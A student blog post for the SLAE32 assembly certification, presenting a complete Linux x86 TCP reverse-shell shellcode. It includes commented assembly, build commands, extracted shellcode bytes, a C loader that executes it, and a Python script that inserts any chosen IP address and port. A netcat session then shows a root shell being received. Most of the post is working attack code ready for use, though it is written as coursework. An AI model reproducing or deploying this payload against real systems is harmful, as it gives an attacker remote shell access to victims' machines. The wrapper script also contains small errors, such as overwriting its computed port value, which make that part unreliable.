SLAE32 - Assignment 2 - TCP reverse shell
And now SLAE assignment two!
For this assignment I have been tasked to:
* Create a Shell_Reverse_TCP shellcode
* Reverse connects to configured IP and Port
* Execs shell on successful connection
Plus, as done previously, port and now even address, should be easily configurable.
A reverse TCP shellcode’s goal is to perform a connection back from the victim host to the attacker machine, and, as usual, spawns a shell.
This time around, I started looking at the Russell Willis’s code at ShellStorm
Although I have not optimized its shellcode size, I have increase performance by reducing the ‘sys_dup2’ syscall loop of -drumroll- one cpu cycle! whoo! :D
These are the action performed that need to be assembly converted.
1. Create a socket
2. Connect to a specified IP/port
3. Redirect stdin, stdout and stderr via dup2
4. Execve a /bin/sh
Here the full commented shellcode:
global _start
section .text
_start:
; int socketcall(int call, unsigned long *args);
; sockfd = socket(int socket_family, int socket_type, int protocol);
;
xor eax,eax ;house cleaning
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov al,0x66 ;syscall: sys_socketcall
mov bl,0x1 ;sys_socket (0x1)
push ecx
push 0x6 ;IPPROTO_TCP=6
push 0x1 ;socket_type=SOCK_STREAM (0x1)
push 0x2 ;socket_family=AF_INET (0x2)
mov ecx,esp ;save stack pointer to socket() args
int 0x80
; int socketcall(int call, unsigned long *args);
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;
mov esi,eax
mov al,0x66
;struct sockaddr_in {
; __kernel_sa_family_t sin_family; /* Address family */
; __be16 sin_port; /* Port number */
; struct in_addr sin_addr; /* Internet address */
;};
xor ebx,ebx
mov bl,0x2 ;sin_family=AF_INET (0x2)
push 0x6424a8c0 ;sin_addr=192.168.36.100 (network byte order endianness)
push word 0x697a;sin_port=31337 (network byte endianness)
push bx
inc bl ; 02 to bl
mov ecx,esp ;save stack pointer to sockaddr struct
push 0x10 ;addrlen=16
push ecx ;pointer to sockaddr
push esi ;sockfd
mov ecx,esp ;save pointer to sockaddr_in struct
int 0x80 ;exec sys_connect
xor ecx,ecx
mov cl,0x2 ;set loop-counter
loop:
mov al,0x3f ;syscall: sys_dup2
int 0x80 ;exec sys_dup2
dec cl ;decrement counter
jne loop ;jump to loop label if ZF is not equal to 0 (controlled by decrementing cl)
;execve
xor eax,eax
push edx ;NULL terminating
push 0x68732f6e ;"hs//"
push 0x69622f2f ;"nib/"
mov ebx,esp ;save pointer to filename
push edx ;null push the stack
push ebx ;push pointer to filename
mov ecx,esp ;save stack pointer to ecx
push edx ;push null to stack
mov edx,esp ;save stack pointer to edx
mov al,0xb ;syscall: sys_execve
int 0x80 ;exec sys_execve
As done in the preceeding task, let’s compile it and test our shellcode.
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm
echo '[+] Linking ...'
ld -z execstack -o $1 $1.o
echo '[+] Done!'
And again with commandlinefu
#objdump -d ./reverse_tcp_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\xc0\xa8\x24\x64\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\xfe\xc9\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"
Then paste&compile:
#include<stdio.h>
unsigned char shellcode[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\xc0\xa8\x24\x64\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\xfe\xc9\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", sizeof(shellcode) - 1);
int (*ret)() = (int(*)())shellcode;
ret();
}
gcc shellcode.c -o linux_x86_shell_bind_tcp -fno-stack-protector -z execstack -m32
And here the python code to automate ip+port insertion.
# SLAE - Assignment #1: BindShell (Linux/x86) Wrapper
# Author: Matteo Malvica (@matteomalvica)
# Website: http://www.matteomalvica.com
import sys
def rethex(n):
h1 = hex(int(n))[2:]
if len(h1) == 3:
h1 = "0" + h1
if len(h1) >= 3:
t1 = h1[0:2]
t2 = h1[2:4]
h1 = "\\x" + t1 + "\\x" + t2
if len(h1) < 4 and len(h1) > 2:
h1 = "0" + h1
if len(h1) < 2:
h1="\\x0" + h1
if len(h1) == 2:
h1="\\x" + h1
if h1 == "\\x00":
print "Oops, looks like the final shellcode contains a \\x00 :(!\r\n"
sys.exit()
return h1
total = len(sys.argv)
if total != 3:
print "[+] Usage %s [ip] [tcp ort]" % sys.argv[0]
sys.exit()
else:
try:
ip = sys.argv[1]
addr = ""
for i in range(0,4):
addr = addr + rethex(ip.split(".",3)[i])
port = int(sys.argv[2])
if port > 65535:
print "Cannot bind a port greater than 65535!"
sys.exit()
if port < 1024:
print "Port is smaller than 1024! Need to be root for that"
sys.exit()
# convert integer argv port to hex and stuff with leading zeroes if port hex length is < 4
hexport = hex(port)[2:].zfill(4)
# split hexport in two parts to check for null byte
b1 = hexport[0:2]
b2 = hexport[2:4]
if b1 == "00" or b2 == "00":
print "Port contains \\x00!"
exit()
# add leading zero if nibble-only value
if len(b1) < 2:
b1="\\x0" + b1
if len(b1) == 2:
b1="\\x" + b1
if len(b2) < 2:
b2="\\x0" + b2
if len(b2) == 2:
b2="\\x" + b2
shellport=b1+b2
shellport = rethex(port)
print "Shellcode-ready address:\t" + addr
print "Shellcode-ready port:\t\t" + shellport
shellcode = bytearray("\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2"
"\\xb0\\x66\\xb3\\x01\\x51\\x6a\\x06\\x6a\\x01\\x6a"
"\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\xb0\\x66\\x31"
"\\xdb\\xb3\\x02\\x68" +addr+ "\\x66\\x68" +shellport+
"\\x66\\x53\\xfe\\xc3\\x89\\xe1\\x6a\\x10"
"\\x51\\x56\\x89\\xe1\\xcd\\x80\\x31\\xc9\\xb1\\x02"
"\\xb0\\x3f\\xcd\\x80\\xfe\\xc9\\x75\\xf8\\x31\\xc0"
"\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62"
"\\x69\\x89\\xe3\\x52\\x53\\x89\\xe1\\x52\\x89\\xe2"
"\\xb0\\x0b\\xcd\\x80")
print "Final shellcode:\t\n" + shellcode + "\""
print "Shellocde length is:\t\t" + str(len(shellcode)/4) + "\n"
except:
print "exiting..."
Right - now we can go and listen to any connection coming on port ‘31337’
# nc -lvnp 31337
listening on [any] 31337 ...
And here we go, after firing up our shellcode from another tab, we receive the simulated remote connection locally on our machine, from port 50730
#nc -lvnp 31337
listening on [any] 31337 ...
connect to [192.168.36.100] from (UNKNOWN) [192.168.36.100] 50730
whoami
root
My assignment code can be found here:
here
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-5837